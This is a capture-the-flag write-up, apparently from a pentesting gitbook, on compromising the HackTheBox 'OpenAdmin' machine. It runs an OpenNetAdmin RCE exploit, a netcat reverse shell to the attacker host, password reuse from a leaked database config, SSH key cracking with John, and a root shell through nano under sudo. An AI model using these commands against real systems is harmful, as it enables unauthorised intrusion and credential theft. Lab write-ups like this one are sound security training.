> For the complete documentation index, see [llms.txt](https://viperone.gitbook.io/pentest-everything/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://viperone.gitbook.io/pentest-everything/writeups/hackthebox/linux/openadmin.md).

# OpenAdmin

## Nmap

```
sudo nmap 10.10.10.171 -p- -sS -sV

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Checking port 80 we find the root page directs us to the default Apache 2 install web page.

![http://10.10.10.171/](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-d47098afe93ab7876a3b658132930c1f49f6885d%2Fimage.png?alt=media)

Running dirsearch.py against the target we find multiple directories:

```
sudo python3 dirsearch.py -u http://10.10.10.171/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --full-url -t 75 
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-61132aa9ce1a48ddbfbf2fcd204ff5ca58cd0662%2Fimage.png?alt=media)

I manually looked through the discovered directories which pulled webpages. However I was unable to identify any interesting information contained in these pages.

I then started OWASP ZAP and ran a active spider against the site. ZAP soon picks up the sub page of /ona.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-15d0deb1b8281e9e795e088db7395b22bcb6de42%2Fimage.png?alt=media)

Browsing to /ona:

![http://10.10.10.171/ona/](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-c677b5f310bd8e63bfb7368f71fbf59b3bdd9b85%2Fimage.png?alt=media)

We see from the header in the tab this is 'OpenNatAdmin'. From the webpage we can see we are running version v18.1.1

**What is OpenNetAdmin?**

OpenNetAdmin is a system for tracking IP network attributes in a database. A web interface is provided to administer the data, and there is a fully functional CLI interface for batch management (for those of you who prefer NOT to use a GUI). There are also several backend processes for building DHCP, DNS, router configuration, etc.

Checking `searchsploit` for known exploits we get results for a RCE.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-444816f6783cd5fd68d8fcf0491bb06f14ef5710%2Fimage.png?alt=media)

Further exploit searching shows a reliable Python exploit for OpenNetAdmin:

{% embed url="<https://github.com/amriunix/ona-rce>" %}

Clone the respository:

```
sudo git clone https://github.com/amriunix/ona-rce.git 
```

Then execute the script:

```
python3 ona-rce.py exploit http://10.10.10.171/ona
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-617c5fb7e4bccae01d2717b489439855533f3427%2Fimage.png?alt=media)

Whilst we do have shell this one is bound to the current directory and as such we cannot easily navigate the target system. To resolve this first I checked available useful software on the target system.

```
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-5f69a60651abd6a36da18e4e40ff5808588318ef%2Fimage.png?alt=media)

Which shows `nc` as being on the target system. I then set a `netcat` listener on my attacking machine to port 443.

```
sudo nc -lvp 443
```

Then executed the following `netcat` reverse shell on the target system:

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.29 443 >/tmp/f
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-03a57b2ed27ac0d626da4f44446cbfffa213b936%2Fimage.png?alt=media)

Now we have a full reverse shell. After some manual enumeration I found some interesting information in `/opt/ona/www/local/config/database_settings.inc.php`.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-b4b0dc33563188ee80422eff031107a3fb03d428%2Fimage.png?alt=media)

We have discovered the following MySQL credentials: `ona_sys:n1nj4W4rri0R!` We can also check for password reuse. Looking at the home directory we have two users: jimmy and joanna.

I tried using SSH as jimmy and was given access with the password above.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-289fca1bb7b78f127aa37c9dcd131b9a2f4625f6%2Fimage.png?alt=media)

From here further enumeration again shows a directory named 'internal' only accessible to jimmy and members of the internal group.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-32596b5f4e5d3190234543a04394a8a9349ab9d6%2Fimage.png?alt=media)

Then the following files inside the directory:

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-9f07123bf67e6a293ae889730d1f98812907de1e%2Fimage.png?alt=media)

Checking the contents of main:

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-c357b9702e4e10e5897ff8c99001a6989a89045e%2Fimage.png?alt=media)

Looks like when the PHP file is executed it will retrieve Joanna's SSH key. We know this directory is not under the normal port 80.

Checking `netstat` we see something is running locally on port 52846.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-9f6d8064b10ffa018c5b1987a76720fbb3dc819f%2Fimage.png?alt=media)

Running curl against the local port and main.php gives us a valid result.

```
curl http://127.0.0.1:52846/main.php
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-b9a2674ec6b726bd837a42aa0cedb7bb9926c176%2Fimage.png?alt=media)

Copy the key to the attacking machine and set correct key permissions:

```
chmod 600 id_rsa
```

As we can see from the line 'Proc-Type: 4,ENCRYPTED' we will need a password to authorize against the key when connecting over SSH.

We can use ssh2john.py we generate a hash from this keyfile then crack with John.

```
python2 /usr/share/john/ssh2john.py id_rsa > hash.txt
```

The crack with `John`.

```
sudo john --wordlist=/usr/share/wordlists/rockyou.txt /home/kali/Desktop/hash.txt
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-f5a0531e2874e5f9aa8b6480ed74e48c03e67acd%2Fimage.png?alt=media)

We can then use SSH and login as joanna after specifying and authorizing against the SSH key. Using the password found above in John to proceed when asked for a passphrase

```
ssh -i id_rsa joanna@10.10.10.171
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-9ea686720eb709e87fc5707f711d31476271eaf1%2Fimage.png?alt=media)

Checking `sudo -l` for `sudo` privileges we see that we can run `/bin/nano /opt/priv` as anyone without providing a password.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-0f0fb772c22ec8f8a26909e3196b997551e4a6c3%2Fimage.png?alt=media)

Checking nano against [GTFOBins](https://gtfobins.github.io/gtfobins/nano/) we see we can spawn a shell with the nano binary.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-3445e7ab3c113c23ab5439db05e0cc37f8766e22%2Fimage.png?alt=media)

To spawn a root shell run the following command:

```
sudo -u /bin/nano /opt/priv
```

When in a nano editor press the following keys:

```
CTRL+R
CTRL+X

Then when prompted paste and execute the following:

reset; sh 1>&0 2>&0
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-a3f157f72d03c5c757039911577ccd55f61e4fa2%2Fimage.png?alt=media)